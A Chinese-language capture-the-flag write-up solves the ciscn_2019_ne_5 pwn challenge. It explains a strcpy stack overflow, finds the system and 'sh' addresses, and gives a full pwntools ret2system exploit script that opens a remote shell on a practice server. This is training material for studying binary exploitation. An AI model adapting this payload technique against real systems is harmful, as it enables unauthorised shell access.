ciscn_2019_ne_5
1.查看文件信息
checksec一下:32位文件,开启了NX保护

尝试运行:
2.IDA分析
在函数里面发现GetFlag函数,函数功能是将src字符串复制到dest中
可以看到src读入的时候可以读入128位,在strcpy函数使用时可以造成栈溢出,覆盖返回地址
48+4 = 4c 个字符就可以构造到返回地址,
希望执行system(‘bin/sh’)函数来获取shell,需要system函数地址和’/bin/sh’字符串的地址
在左侧函数菜单中发现system函数,得到地址:0x80484D0
接下来查找’'/bin/sh’字符串地址,用ROPgadget搜索一下程序里的’/bin/sh’字符串的地址
ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’
多次尝试,只能找到’sh’,一样可以使用:0x80482ea
由此,构造payload:
"1234"是执行system函数之前压入的返回地址
payload = ‘a’*(0x48+4)+p32(sys_add)+“1234”+p32(bin_sh)
3.构造exp脚本
from pwn import *
r = remote('node4.buuoj.cn',29486)
#context.log_level = 'debug'
sys_add = 0x80484D0
bin_sh = 0x080482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
payload = 'a'*(0x48+4)+p32(sys_add)+"1234"+p32(bin_sh)
r.sendlineafter(':','1')
r.sendlineafter('info:',payload)
r.sendlineafter(':','4')
r.interactive()
成功得到flag